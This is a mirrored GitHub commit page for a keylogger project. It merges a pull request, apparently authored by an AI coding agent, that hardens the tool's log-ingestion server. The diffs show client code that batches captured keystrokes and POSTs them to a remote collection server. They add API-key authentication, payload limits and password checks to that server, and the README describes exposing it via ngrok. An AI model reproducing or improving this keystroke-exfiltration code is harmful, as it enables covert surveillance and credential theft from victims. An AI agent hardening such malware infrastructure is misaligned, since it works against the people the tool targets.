mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 19:36:31 +00:00
Merge pull request #32 from Stalin-143/copilot/fix-all-security-vuln
Harden auth, secret handling, and log-ingestion surface to address security findings
This commit is contained in:
@@ -85,9 +85,10 @@ Welcome to the **Keylogger Project**! This project demonstrates how a keylogger
|
|||||||
|
|
||||||
Edit `config/.env`:
|
Edit `config/.env`:
|
||||||
```bash
|
```bash
|
||||||
WEB_SERVER_USERNAME=admin
|
WEB_SERVER_USERNAME=admin_user
|
||||||
WEB_SERVER_PASSWORD=your_secure_password_here
|
WEB_SERVER_PASSWORD=your_very_strong_password_here
|
||||||
FLASK_DEBUG=False
|
FLASK_DEBUG=False
|
||||||
|
LOG_INGEST_API_KEY=replace_with_random_long_api_key
|
||||||
```
|
```
|
||||||
|
|
||||||
### Usage
|
### Usage
|
||||||
|
|||||||
+5
-2
@@ -1,7 +1,10 @@
|
|||||||
# Web Server Authentication
|
# Web Server Authentication
|
||||||
WEB_SERVER_USERNAME=admin
|
WEB_SERVER_USERNAME=admin_user
|
||||||
WEB_SERVER_PASSWORD=change_this_password
|
WEB_SERVER_PASSWORD=change_this_to_a_very_strong_password
|
||||||
|
|
||||||
# Flask Configuration
|
# Flask Configuration
|
||||||
FLASK_DEBUG=False
|
FLASK_DEBUG=False
|
||||||
FLASK_SECRET_KEY=generate_random_secret_key_here
|
FLASK_SECRET_KEY=generate_random_secret_key_here
|
||||||
|
|
||||||
|
# Shared API key for keylogger -> server log ingestion (minimum 24 chars)
|
||||||
|
LOG_INGEST_API_KEY=replace_with_random_long_api_key
|
||||||
|
|||||||
@@ -103,14 +103,15 @@ mkdir -p logs
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Web Server Authentication
|
# Web Server Authentication
|
||||||
WEB_SERVER_USERNAME=admin
|
WEB_SERVER_USERNAME=admin_user
|
||||||
WEB_SERVER_PASSWORD=your_secure_password_here
|
WEB_SERVER_PASSWORD=your_very_strong_password_here
|
||||||
|
|
||||||
# Flask Configuration
|
# Flask Configuration
|
||||||
FLASK_DEBUG=False
|
FLASK_DEBUG=False
|
||||||
|
LOG_INGEST_API_KEY=replace_with_random_long_api_key
|
||||||
```
|
```
|
||||||
|
|
||||||
**Important:** Change the default password to a secure one!
|
**Important:** Use a strong password (minimum 12 characters) and an API key of at least 24 characters.
|
||||||
|
|
||||||
### 3. Set Environment Variables (Before Running)
|
### 3. Set Environment Variables (Before Running)
|
||||||
|
|
||||||
@@ -144,7 +145,7 @@ python3 src/server.py --config config/config.json
|
|||||||
|
|
||||||
**With command-line options:**
|
**With command-line options:**
|
||||||
```bash
|
```bash
|
||||||
python3 src/server.py --port 8080 --debug
|
python3 src/server.py --host 127.0.0.1 --port 8080 --debug
|
||||||
```
|
```
|
||||||
|
|
||||||
**All options:**
|
**All options:**
|
||||||
@@ -152,7 +153,7 @@ python3 src/server.py --port 8080 --debug
|
|||||||
- `--log-file PATH`: Override log file path
|
- `--log-file PATH`: Override log file path
|
||||||
- `--host HOST`: Host to bind to (default: 0.0.0.0)
|
- `--host HOST`: Host to bind to (default: 0.0.0.0)
|
||||||
- `--port PORT`: Port to bind to (default: 5000)
|
- `--port PORT`: Port to bind to (default: 5000)
|
||||||
- `--debug`: Enable debug mode
|
- `--debug`: Enable debug mode (localhost bindings only)
|
||||||
|
|
||||||
### Exposing Server with ngrok (Optional)
|
### Exposing Server with ngrok (Optional)
|
||||||
|
|
||||||
|
|||||||
+18
-2
@@ -28,11 +28,13 @@ BANNER = r"""
|
|||||||
GitHub: https://github.com/Stalin-143
|
GitHub: https://github.com/Stalin-143
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
MIN_API_KEY_LENGTH = 24
|
||||||
|
|
||||||
|
|
||||||
class KeyLogger:
|
class KeyLogger:
|
||||||
"""Keylogger class to handle keyboard input capture and logging."""
|
"""Keylogger class to handle keyboard input capture and logging."""
|
||||||
|
|
||||||
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True):
|
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None):
|
||||||
"""
|
"""
|
||||||
Initialize the KeyLogger.
|
Initialize the KeyLogger.
|
||||||
|
|
||||||
@@ -41,11 +43,13 @@ class KeyLogger:
|
|||||||
server_url (str): URL of the server to send logs to
|
server_url (str): URL of the server to send logs to
|
||||||
batch_size (int): Number of keystrokes before sending to server
|
batch_size (int): Number of keystrokes before sending to server
|
||||||
verify_ssl (bool): Whether to verify SSL certificates (default: True)
|
verify_ssl (bool): Whether to verify SSL certificates (default: True)
|
||||||
|
api_key (str): API key for authenticating log ingestion
|
||||||
"""
|
"""
|
||||||
self.log_file_path = log_file_path
|
self.log_file_path = log_file_path
|
||||||
self.server_url = server_url
|
self.server_url = server_url
|
||||||
self.batch_size = batch_size
|
self.batch_size = batch_size
|
||||||
self.verify_ssl = verify_ssl
|
self.verify_ssl = verify_ssl
|
||||||
|
self.api_key = api_key
|
||||||
self.buffer = []
|
self.buffer = []
|
||||||
|
|
||||||
# Ensure the log directory exists
|
# Ensure the log directory exists
|
||||||
@@ -72,9 +76,14 @@ class KeyLogger:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
log_data = ''.join(self.buffer)
|
log_data = ''.join(self.buffer)
|
||||||
|
headers = {}
|
||||||
|
if self.api_key:
|
||||||
|
headers["X-API-Key"] = self.api_key
|
||||||
|
|
||||||
response = requests.post(
|
response = requests.post(
|
||||||
self.server_url,
|
self.server_url,
|
||||||
data={"log": log_data},
|
data={"log": log_data},
|
||||||
|
headers=headers,
|
||||||
timeout=10,
|
timeout=10,
|
||||||
verify=self.verify_ssl # Verify SSL certificates by default
|
verify=self.verify_ssl # Verify SSL certificates by default
|
||||||
)
|
)
|
||||||
@@ -213,18 +222,25 @@ def main():
|
|||||||
server_url = args.server_url or keylogger_config.get('server_url', '')
|
server_url = args.server_url or keylogger_config.get('server_url', '')
|
||||||
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
||||||
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
|
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
|
||||||
|
api_key = os.getenv('LOG_INGEST_API_KEY')
|
||||||
|
|
||||||
if not server_url:
|
if not server_url:
|
||||||
print("Error: Server URL not configured.")
|
print("Error: Server URL not configured.")
|
||||||
print("Please set server_url in config/config.json or use --server-url argument.")
|
print("Please set server_url in config/config.json or use --server-url argument.")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
if not api_key:
|
||||||
|
sys.exit("ERROR: Ingestion API secret is required.")
|
||||||
|
|
||||||
|
if len(api_key) < MIN_API_KEY_LENGTH:
|
||||||
|
sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.")
|
||||||
|
|
||||||
if args.no_verify_ssl:
|
if args.no_verify_ssl:
|
||||||
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
|
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
|
||||||
print(" This is NOT recommended for production use.")
|
print(" This is NOT recommended for production use.")
|
||||||
|
|
||||||
# Create and start the keylogger
|
# Create and start the keylogger
|
||||||
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl)
|
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key)
|
||||||
keylogger.start()
|
keylogger.start()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+101
-11
@@ -9,6 +9,7 @@ import sys
|
|||||||
import json
|
import json
|
||||||
import secrets
|
import secrets
|
||||||
import argparse
|
import argparse
|
||||||
|
import string
|
||||||
from functools import wraps
|
from functools import wraps
|
||||||
from flask import Flask, render_template_string, send_file, request, Response
|
from flask import Flask, render_template_string, send_file, request, Response
|
||||||
|
|
||||||
@@ -24,17 +25,22 @@ BANNER = r"""
|
|||||||
Github: https://github.com/Stalin-143
|
Github: https://github.com/Stalin-143
|
||||||
"""
|
"""
|
||||||
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
# Set a secure secret key for session management
|
|
||||||
app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
|
|
||||||
|
|
||||||
# Global configuration
|
|
||||||
CONFIG = {
|
CONFIG = {
|
||||||
'log_file_path': 'logs/keylog.txt',
|
'log_file_path': 'logs/keylog.txt',
|
||||||
'username': 'admin',
|
'username': 'admin',
|
||||||
'password': 'admin'
|
'password': 'admin',
|
||||||
|
'api_key': None
|
||||||
}
|
}
|
||||||
|
MAX_LOG_PAYLOAD_BYTES = 64 * 1024
|
||||||
|
MIN_PASSWORD_LENGTH = 12
|
||||||
|
MIN_API_KEY_LENGTH = 24
|
||||||
|
MIN_API_KEY_UNIQUE_CHARS = 8
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
app.config['MAX_CONTENT_LENGTH'] = MAX_LOG_PAYLOAD_BYTES
|
||||||
|
|
||||||
|
# Set a secure secret key for session management
|
||||||
|
app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
|
||||||
|
|
||||||
|
|
||||||
def check_auth(username, password):
|
def check_auth(username, password):
|
||||||
@@ -82,6 +88,62 @@ def requires_auth(f):
|
|||||||
return decorated
|
return decorated
|
||||||
|
|
||||||
|
|
||||||
|
def has_valid_api_key():
|
||||||
|
"""
|
||||||
|
Validate API key for log ingestion endpoint.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True when API key is configured and valid
|
||||||
|
"""
|
||||||
|
configured_api_key = CONFIG.get('api_key')
|
||||||
|
request_api_key = request.headers.get('X-API-Key')
|
||||||
|
|
||||||
|
if not configured_api_key or not request_api_key:
|
||||||
|
return False
|
||||||
|
return secrets.compare_digest(request_api_key, configured_api_key)
|
||||||
|
|
||||||
|
|
||||||
|
def is_strong_password(password):
|
||||||
|
"""
|
||||||
|
Validate password complexity requirements.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
password (str): Password to validate
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True when password meets complexity requirements
|
||||||
|
"""
|
||||||
|
has_upper = any(char.isupper() for char in password)
|
||||||
|
has_lower = any(char.islower() for char in password)
|
||||||
|
has_digit = any(char.isdigit() for char in password)
|
||||||
|
has_special = any(char in string.punctuation for char in password)
|
||||||
|
has_min_length = len(password) >= MIN_PASSWORD_LENGTH
|
||||||
|
return has_min_length and has_upper and has_lower and has_digit and has_special
|
||||||
|
|
||||||
|
|
||||||
|
def has_sufficient_key_entropy(value):
|
||||||
|
"""
|
||||||
|
Basic entropy checks for shared API key quality.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
value (str): API key value
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True when key has enough character variety
|
||||||
|
"""
|
||||||
|
if not value:
|
||||||
|
return False
|
||||||
|
if len(set(value)) < MIN_API_KEY_UNIQUE_CHARS:
|
||||||
|
return False
|
||||||
|
has_upper = any(char.isupper() for char in value)
|
||||||
|
has_lower = any(char.islower() for char in value)
|
||||||
|
has_digit = any(char.isdigit() for char in value)
|
||||||
|
has_special = any(char in string.punctuation for char in value)
|
||||||
|
if sum([has_upper, has_lower, has_digit, has_special]) < 3:
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
# HTML template to display the log contents and provide a download link
|
# HTML template to display the log contents and provide a download link
|
||||||
HTML_TEMPLATE = '''
|
HTML_TEMPLATE = '''
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
@@ -210,8 +272,14 @@ def receive_log():
|
|||||||
Success or error message
|
Success or error message
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
|
if not has_valid_api_key():
|
||||||
|
return "Unauthorized", 401
|
||||||
|
|
||||||
log_data = request.form.get('log', '')
|
log_data = request.form.get('log', '')
|
||||||
if log_data:
|
if log_data:
|
||||||
|
if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES:
|
||||||
|
return "Log payload too large", 413
|
||||||
|
|
||||||
log_file_path = CONFIG['log_file_path']
|
log_file_path = CONFIG['log_file_path']
|
||||||
|
|
||||||
# Ensure log directory exists
|
# Ensure log directory exists
|
||||||
@@ -220,7 +288,7 @@ def receive_log():
|
|||||||
os.makedirs(log_dir, exist_ok=True)
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
|
||||||
# Append log data to file
|
# Append log data to file
|
||||||
with open(log_file_path, 'a') as f:
|
with open(log_file_path, 'a', encoding='utf-8') as f:
|
||||||
f.write(log_data)
|
f.write(log_data)
|
||||||
|
|
||||||
return "Log received successfully", 200
|
return "Log received successfully", 200
|
||||||
@@ -297,6 +365,7 @@ def main():
|
|||||||
# Load credentials from environment variables
|
# Load credentials from environment variables
|
||||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
|
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
|
||||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
|
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
|
||||||
|
CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY')
|
||||||
|
|
||||||
# Validate that credentials are set
|
# Validate that credentials are set
|
||||||
if not CONFIG['username'] or not CONFIG['password']:
|
if not CONFIG['username'] or not CONFIG['password']:
|
||||||
@@ -309,15 +378,36 @@ def main():
|
|||||||
print(" source config/.env")
|
print(" source config/.env")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8:
|
if CONFIG['password'] == 'admin':
|
||||||
print("⚠️ WARNING: Weak password detected!")
|
sys.exit("ERROR: Authentication secret uses a disallowed default value.")
|
||||||
print(" Please use a strong password (at least 8 characters).")
|
|
||||||
|
if not is_strong_password(CONFIG['password']):
|
||||||
|
sys.exit(
|
||||||
|
"ERROR: Authentication secret must be at least 12 characters and include uppercase, "
|
||||||
|
"lowercase, number, and special character."
|
||||||
|
)
|
||||||
|
|
||||||
|
if not CONFIG['api_key']:
|
||||||
|
sys.exit("ERROR: Ingestion API secret is required.")
|
||||||
|
|
||||||
|
if len(CONFIG['api_key']) < MIN_API_KEY_LENGTH:
|
||||||
|
sys.exit(f"ERROR: Ingestion API secret must be at least {MIN_API_KEY_LENGTH} characters.")
|
||||||
|
|
||||||
|
if not has_sufficient_key_entropy(CONFIG['api_key']):
|
||||||
|
sys.exit(
|
||||||
|
f"ERROR: Ingestion API secret must contain at least {MIN_API_KEY_UNIQUE_CHARS} unique characters."
|
||||||
|
)
|
||||||
|
|
||||||
# Get server settings
|
# Get server settings
|
||||||
host = args.host or server_config.get('host', '0.0.0.0')
|
host = args.host or server_config.get('host', '0.0.0.0')
|
||||||
port = args.port or server_config.get('port', 5000)
|
port = args.port or server_config.get('port', 5000)
|
||||||
debug = args.debug or server_config.get('debug', False)
|
debug = args.debug or server_config.get('debug', False)
|
||||||
|
|
||||||
|
if debug and host not in ('127.0.0.1', 'localhost', '::1'):
|
||||||
|
print("ERROR: Debug mode is only allowed on localhost interfaces.")
|
||||||
|
print("Use a local host binding or disable --debug.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
print(f"\nStarting web server on {host}:{port}")
|
print(f"\nStarting web server on {host}:{port}")
|
||||||
print(f"Log file path: {CONFIG['log_file_path']}")
|
print(f"Log file path: {CONFIG['log_file_path']}")
|
||||||
print(f"Username: {CONFIG['username']}")
|
print(f"Username: {CONFIG['username']}")
|
||||||
|
|||||||
Reference in New Issue
Block a user